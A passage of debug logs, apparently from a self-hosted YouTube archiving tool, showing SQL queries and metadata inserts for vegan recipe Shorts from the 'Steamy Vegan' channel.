https://youtu.be/gmz3tAcd-d4\n2. Cacao Orange Granola: https://youtu.be/QGipOq83NUQ\n3. Quick Vegan Breakfast Ideas: https://youtu.be/IimdaH0kc8I\n4. 3 Different Ways to do Your Smoothies: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe so you never miss one of my vegan and gluten free recipe videos. I post new videos every week! Thanks for your support!\nJanelle", "What I Eat For Breakfast on a GF Vegan Diet", 1, 13, false, "5xsAmIFLJq8", "https://www.youtube.com/shorts/5xsAmIFLJq8", "/downloads/downloads/alec/Steamy Vegan/2022-06-15 What I Eat For Breakfast on a GF Vegan Diet/What I Eat For Breakfast on a GF Vegan Diet [5xsAmIFLJq8].NA", true, ~U[2022-06-15 14:00:05Z]] 20:29:17.302 [debug] QUERY OK source="sources" db=0.9ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:17.303 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:17.305 [debug] QUERY OK source="media_items" db=1.1ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [765] 20:29:17.305 [debug] Current batch of media processed. Will check again in 1000ms 20:29:18.306 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These desserts made vegan and gluten free are my absolute favorites. Check out the recipe videos for each below:\n\n1. Dark Chocolate Fruity Nut Clusters: https://youtu.be/Vz0RjvXVJf4\n2. Dark Chocolate Raspberry Scones: https://youtu.be/Vz0RjvXVJf4\n3. Strawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n4. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n\nDon't forget to subscribe for more delicious, vegan, and gluten free recipes. I post YouTube Shorts every day and at least 2 full length videos per week! Thanks for your support!\nJanelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Dessert = The BEST Meal of the Day/Dessert = The BEST Meal of the Day [Z3B3dI3hzjQ].NA", "id" => "Z3B3dI3hzjQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Z3B3dI3hzjQ", "playlist_index" => 377, "timestamp" => 1655250300, "title" => "Dessert = The BEST Meal of the Day", "upload_date" => "20220614"} 20:29:18.307 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:18.309 [debug] QUERY OK source="sources" db=1.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:18.311 [debug] QUERY OK source="media_items" db=2.1ms idle=1005.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 23:45:00Z], 1] 20:29:18.314 [debug] QUERY OK source="media_items" db=1.8ms idle=1007.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These desserts made vegan and gluten free are my absolute favorites. Check out the recipe videos for each below:\n\n1. Dark Chocolate Fruity Nut Clusters: https://youtu.be/Vz0RjvXVJf4\n2. Dark Chocolate Raspberry Scones: https://youtu.be/Vz0RjvXVJf4\n3. Strawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n4. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n\nDon't forget to subscribe for more delicious, vegan, and gluten free recipes. I post YouTube Shorts every day and at least 2 full length videos per week! Thanks for your support!\nJanelle", "Dessert = The BEST Meal of the Day", "54ed631d-e0d3-4ad6-946f-2bbade28fb10", 1, [], 13, false, "Z3B3dI3hzjQ", "https://www.youtube.com/shorts/Z3B3dI3hzjQ", 377, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Dessert = The BEST Meal of the Day/Dessert = The BEST Meal of the Day [Z3B3dI3hzjQ].NA", false, false, true, 0, ~U[2022-06-14 23:45:00Z], ~U[2026-03-22 03:29:18Z], ~U[2026-03-22 03:29:18Z], "These desserts made vegan and gluten free are my absolute favorites. Check out the recipe videos for each below:\n\n1. Dark Chocolate Fruity Nut Clusters: https://youtu.be/Vz0RjvXVJf4\n2. Dark Chocolate Raspberry Scones: https://youtu.be/Vz0RjvXVJf4\n3. Strawberry Rhubarb Pie: https://youtu.be/42Ra2CeeUM8\n4. 7 Ingredient Protein Bars: https://youtu.be/ZjO06fyfHLc\n\nDon't forget to subscribe for more delicious, vegan, and gluten free recipes. I post YouTube Shorts every day and at least 2 full length videos per week! Thanks for your support!\nJanelle", "Dessert = The BEST Meal of the Day", 1, 13, false, "Z3B3dI3hzjQ", "https://www.youtube.com/shorts/Z3B3dI3hzjQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Dessert = The BEST Meal of the Day/Dessert = The BEST Meal of the Day [Z3B3dI3hzjQ].NA", true, ~U[2022-06-14 23:45:00Z]] 20:29:18.315 [debug] QUERY OK source="sources" db=0.6ms idle=874.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:18.316 [debug] QUERY OK source="media_profiles" db=0.6ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:18.317 [debug] QUERY OK source="media_items" db=1.3ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [766] 20:29:18.318 [debug] Current batch of media processed. Will check again in 1000ms 20:29:19.319 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I roasted up all my veggies that were nearing the end of their lifespan and made this DELICIOUS soup. Thanks to Peko Produce for keeping these veggies out of our landfills!\n\nWHAT I USED:\n2 leeks (rescued by Peko!)\n2 orange bell peppers\n1.5 cups grape tomatoes\n1/2 large yellow onion\n4 yellow potatoes\n1/4 cup roasted garlic (about 2 heads)\n4 cups veggie broth (onion bouillon)\n1/2 can coconut milk\n3/4 cup chopped fresh basil\nDrizzle of oil\nSalt & pepper to taste\n\n1. If your leeks are as old and sad as mine, compost the inedible parts, wash the white and light green inner layers, and freeze the stalky green ends for veggie broth.\n2. Spread your potatoes, grape tomatoes, yellow onion, leeks and bell peppers on 2 baking trays, drizzle with a touch of oil plus some salt and pepper and roast for 40 minutes at 425ºF.\n3. Add all the roasted veg to a large stock pot, add 4 cups of broth, half a can of coconut milk and a generous couple spoonfuls of roasted garlic and blend until smooth. Don’t forget salt and pepper! Stir in a boatload of fresh chopped basil and you’re done!\n\nFollow me for more delicious vegan recipes just like this one!\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "duration" => 49, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅/Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅 [IkPQtm0fc-s].NA", "id" => "IkPQtm0fc-s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IkPQtm0fc-s", "playlist_index" => 378, "timestamp" => 1655233206, "title" => "Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅", "upload_date" => "20220614"} 20:29:19.320 [debug] QUERY OK source="sources" db=0.5ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:19.321 [debug] QUERY OK source="sources" db=0.5ms idle=1005.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:19.323 [debug] QUERY OK source="media_items" db=1.9ms idle=1005.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 19:00:06Z], 1] 20:29:19.325 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I roasted up all my veggies that were nearing the end of their lifespan and made this DELICIOUS soup. Thanks to Peko Produce for keeping these veggies out of our landfills!\n\nWHAT I USED:\n2 leeks (rescued by Peko!)\n2 orange bell peppers\n1.5 cups grape tomatoes\n1/2 large yellow onion\n4 yellow potatoes\n1/4 cup roasted garlic (about 2 heads)\n4 cups veggie broth (onion bouillon)\n1/2 can coconut milk\n3/4 cup chopped fresh basil\nDrizzle of oil\nSalt & pepper to taste\n\n1. If your leeks are as old and sad as mine, compost the inedible parts, wash the white and light green inner layers, and freeze the stalky green ends for veggie broth.\n2. Spread your potatoes, grape tomatoes, yellow onion, leeks and bell peppers on 2 baking trays, drizzle with a touch of oil plus some salt and pepper and roast for 40 minutes at 425ºF.\n3. Add all the roasted veg to a large stock pot, add 4 cups of broth, half a can of coconut milk and a generous couple spoonfuls of roasted garlic and blend until smooth. Don’t forget salt and pepper! Stir in a boatload of fresh chopped basil and you’re done!\n\nFollow me for more delicious vegan recipes just like this one!\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅", "7e9f280b-1c38-4ff7-aa56-5b0cfb518a83", 1, [], 49, false, "IkPQtm0fc-s", "https://www.youtube.com/shorts/IkPQtm0fc-s", 378, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅/Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅 [IkPQtm0fc-s].NA", false, false, true, 1, ~U[2022-06-14 19:00:06Z], ~U[2026-03-22 03:29:19Z], ~U[2026-03-22 03:29:19Z], "I roasted up all my veggies that were nearing the end of their lifespan and made this DELICIOUS soup. Thanks to Peko Produce for keeping these veggies out of our landfills!\n\nWHAT I USED:\n2 leeks (rescued by Peko!)\n2 orange bell peppers\n1.5 cups grape tomatoes\n1/2 large yellow onion\n4 yellow potatoes\n1/4 cup roasted garlic (about 2 heads)\n4 cups veggie broth (onion bouillon)\n1/2 can coconut milk\n3/4 cup chopped fresh basil\nDrizzle of oil\nSalt & pepper to taste\n\n1. If your leeks are as old and sad as mine, compost the inedible parts, wash the white and light green inner layers, and freeze the stalky green ends for veggie broth.\n2. Spread your potatoes, grape tomatoes, yellow onion, leeks and bell peppers on 2 baking trays, drizzle with a touch of oil plus some salt and pepper and roast for 40 minutes at 425ºF.\n3. Add all the roasted veg to a large stock pot, add 4 cups of broth, half a can of coconut milk and a generous couple spoonfuls of roasted garlic and blend until smooth. Don’t forget salt and pepper! Stir in a boatload of fresh chopped basil and you’re done!\n\nFollow me for more delicious vegan recipes just like this one!\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅", 1, 49, false, "IkPQtm0fc-s", "https://www.youtube.com/shorts/IkPQtm0fc-s", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅/Roasted Po-mato Veggie Soup 🥣 don’t toss your sad veggies! ☹️🥕🧄🧅🥔🍅 [IkPQtm0fc-s].NA", true, ~U[2022-06-14 19:00:06Z]] 20:29:19.325 [debug] QUERY OK source="sources" db=0.3ms idle=883.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:19.326 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:19.327 [debug] QUERY OK source="media_items" db=0.8ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [767] 20:29:19.327 [debug] Current batch of media processed. Will check again in 1000ms 20:29:20.328 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These are not the same old pastas your momma used to make! They're new age, absolutely delicious, and totally drool-worthy. I've made these 3 pastas gluten free and vegan for my diet and you can easily make them for whatever dietary needs you have. \n\nFollow along and cook all 3 recipes with my full step-by-step recipe videos below:\n1. Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n2. Fajita Pasta: https://youtu.be/5KuWGZ9N85g\n3. Buttery Sage Fettucine: https://youtu.be/c6Y4Z2y_j8A\n\nSubscribe for daily Youtube Shorts and 2 full length videos per week all about vegan and gluten-free cooking. Even if you just want to incorporate 1 or 2 more meals per week that are plant-based or gf then you'll want to make sure to subscribe! Thanks for all your support!\nJanelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-14 3 Viral Pastas You’ll Absolutely Love/3 Viral Pastas You’ll Absolutely Love [oQ5tbloy_zw].NA", "id" => "oQ5tbloy_zw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/oQ5tbloy_zw", "playlist_index" => 379, "timestamp" => 1655218834, "title" => "3 Viral Pastas You’ll Absolutely Love", "upload_date" => "20220614"} 20:29:20.329 [debug] QUERY OK source="sources" db=0.4ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:20.330 [debug] QUERY OK source="sources" db=0.5ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:20.332 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-14 15:00:34Z], 1] 20:29:20.338 [debug] QUERY OK source="media_items" db=5.7ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These are not the same old pastas your momma used to make! They're new age, absolutely delicious, and totally drool-worthy. I've made these 3 pastas gluten free and vegan for my diet and you can easily make them for whatever dietary needs you have. \n\nFollow along and cook all 3 recipes with my full step-by-step recipe videos below:\n1. Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n2. Fajita Pasta: https://youtu.be/5KuWGZ9N85g\n3. Buttery Sage Fettucine: https://youtu.be/c6Y4Z2y_j8A\n\nSubscribe for daily Youtube Shorts and 2 full length videos per week all about vegan and gluten-free cooking. Even if you just want to incorporate 1 or 2 more meals per week that are plant-based or gf then you'll want to make sure to subscribe! Thanks for all your support!\nJanelle", "3 Viral Pastas You’ll Absolutely Love", "0fdb6b33-c7c3-476d-a162-55b2e0786e2e", 1, [], 11, false, "oQ5tbloy_zw", "https://www.youtube.com/shorts/oQ5tbloy_zw", 379, "/downloads/downloads/alec/Steamy Vegan/2022-06-14 3 Viral Pastas You’ll Absolutely Love/3 Viral Pastas You’ll Absolutely Love [oQ5tbloy_zw].NA", false, false, true, 2, ~U[2022-06-14 15:00:34Z], ~U[2026-03-22 03:29:20Z], ~U[2026-03-22 03:29:20Z], "These are not the same old pastas your momma used to make! They're new age, absolutely delicious, and totally drool-worthy. I've made these 3 pastas gluten free and vegan for my diet and you can easily make them for whatever dietary needs you have. \n\nFollow along and cook all 3 recipes with my full step-by-step recipe videos below:\n1. Baked Feta Pasta: https://youtu.be/0x08omFb7wA\n2. Fajita Pasta: https://youtu.be/5KuWGZ9N85g\n3. Buttery Sage Fettucine: https://youtu.be/c6Y4Z2y_j8A\n\nSubscribe for daily Youtube Shorts and 2 full length videos per week all about vegan and gluten-free cooking. Even if you just want to incorporate 1 or 2 more meals per week that are plant-based or gf then you'll want to make sure to subscribe! Thanks for all your support!\nJanelle", "3 Viral Pastas You’ll Absolutely Love", 1, 11, false, "oQ5tbloy_zw", "https://www.youtube.com/shorts/oQ5tbloy_zw", "/downloads/downloads/alec/Steamy Vegan/2022-06-14 3 Viral Pastas You’ll Absolutely Love/3 Viral Pastas You’ll Absolutely Love [oQ5tbloy_zw].NA", true, ~U[2022-06-14 15:00:34Z]] 20:29:20.339 [debug] QUERY OK source="sources" db=0.5ms idle=895.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:20.339 [debug] QUERY OK source="media_profiles" db=0.3ms idle=9.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:20.340 [debug] QUERY OK source="media_items" db=0.5ms idle=9.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [768] 20:29:20.340 [debug] Current batch of media processed. Will check again in 1000ms 20:29:21.341 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Eating 